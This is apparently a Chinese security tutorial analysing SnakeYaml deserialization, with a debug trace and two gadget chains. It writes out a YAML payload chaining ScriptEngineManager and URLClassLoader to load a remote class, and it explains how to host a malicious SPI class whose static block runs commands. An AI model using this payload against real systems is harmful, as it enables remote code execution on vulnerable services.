SnakeYaml反序列化
简介
SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库, 它提供了dump方法可以将一个Java对象转为Yaml格式字符串, 其load方法也能够将Yaml字符串转为Java对象。那么在对象与字符串转换的实现中其实与FastJson和Jaskson等组件一样使用了序列化/反序列化, SnakeYaml反序列化漏洞同这两个组件一样, 如果你了解FastJson反序列化漏洞的话, 那么很快你也能够掌握关于SnakeYaml反序列化漏洞。
漏洞利用
你可以使用Maven导入SnakeYaml依赖:
1 | <dependency> |
简单的JNDI注入示例:
漏洞分析
从 org.yaml.snakeyaml.Yaml#load
开始动态调试, 调用重载方法, 实例化StreamReader对象.
前面为一些对象的初始化操作 无需关注, 重点跟进 getSingleData
方法即可。
调用 BaseConstructor#constructDocument
方法传入node对象, 其包含了解析的YAML字符串信息
通过Node对象的getTag方法获取Tag对象再调用getClassName方法获取YAML字符串中的类名, Constructor#getClassForName
方法获取类的类对象, getClassForName
中调用的Class#forName
获取的类对象, 这里就不跟进了。
在 Constructor$ConstructMapping#construct
中会调用父类 BaseConstructor#newInstance
方法, 在该方法中通过 JdbcRowSetImpl
类的类对象获取无参构造器并调用newInstance方法返回实例对象。
跟进到 Constructor$ConstructMapping#constructJavaBean2ndStep
中, property.set是关键:
图中的getWriteMethod方法会返回属性对应的setter方法的Method对象(), 通过调用Method对象的invoke方法即实现了调用JavaBean的setter方法。
至于怎么获取对象属性对应的Method的可以debug看看这一部分内容, 调用栈我会贴在下方。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 <init>:66, MethodProperty (org.yaml.snakeyaml.introspector)
getPropertiesMap:88, PropertyUtils (org.yaml.snakeyaml.introspector)
getProperty:152, PropertyUtils (org.yaml.snakeyaml.introspector)
getProperty:148, PropertyUtils (org.yaml.snakeyaml.introspector)
getProperty:309, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
constructJavaBean2ndStep:230, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:9, YamlTest (org.vulhub.yaml)
JdbcRowSetImpl的Gadget会在其 autoCommit
属性的setter方法中触发, SnakeYaml反序列化还有比较经典的Gadget是使用SPI加载远程Jar包或class。
SPI
Java SPI机制全称为Service Provider Interface, 即服务提供发现机制。
当服务的提供者提供了一种接口的实现之后, 需要在classpath下 META-INF/services
目录里创建一个以服务接口命名的文件, 文件内容为接口的具体实现类。当其他客户端程序需要这个服务的时候, 就可以通过查找 META-INF/services
中的配置文件去加载对应的实现类。
谈谈个人的理解, 我认为这种机制是用于解耦模块中的硬编码实现类, 通过配置文件的方式实现的一种动态加载方式。例如在JDBC的使用场景中, 你可以在 META-INF/services
新建Driver文件, 在文件内容中指定你要加载的数据库驱动实现类, 这种方式即能够实现动态加载也无需在程序代码中硬编码实现类。当你需要更换数据库驱动时只需要更新配置文件内容即可。
SPI与ScriptEngineManager
首先给出Payload和利用方法, 编写恶意类实现 ScriptEngineFactory
接口, 在静态代码块中添加命令执行代码:
1 | public class Poc implements ScriptEngineFactory { |
然后将编译的class放置在Web服务下, 同时在Web服务的根目录新建 META-INF/services/javax.script.ScriptEngineFactory
文件, 内容为 Poc
。
1 | String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!java.net.URL [\"url\"]]]]"; |
上述的Payload会从最右边开始解析, 首先调用 java.net.URL
的 public URL(String spec)构造器初始化对象, 然后将该URL对象传入 java.net.URLClassLoader
的 public URLClassLoader(URL[] urls)构造器中, 因为该构造器形参是URL对象数组所以Payload中用了两个方括号。最后即是调用 javax.script.ScriptEngineManager
的public ScriptEngineManager(URLClassloader loader)构造器。
打开URL流获取加载的类名:
在 java.util.ServiceLoader#nextService
中其通过Class.forName通过URL加载远程服务器上的类(因为loader是URLClassLoader), 并触发静态代码块中的命令执行弹出计算器。
不过这里Class.forName的第二个参数为false, 所以静态代码块不会在这里被执行, 而是当调用newInstance方法的时候执行的。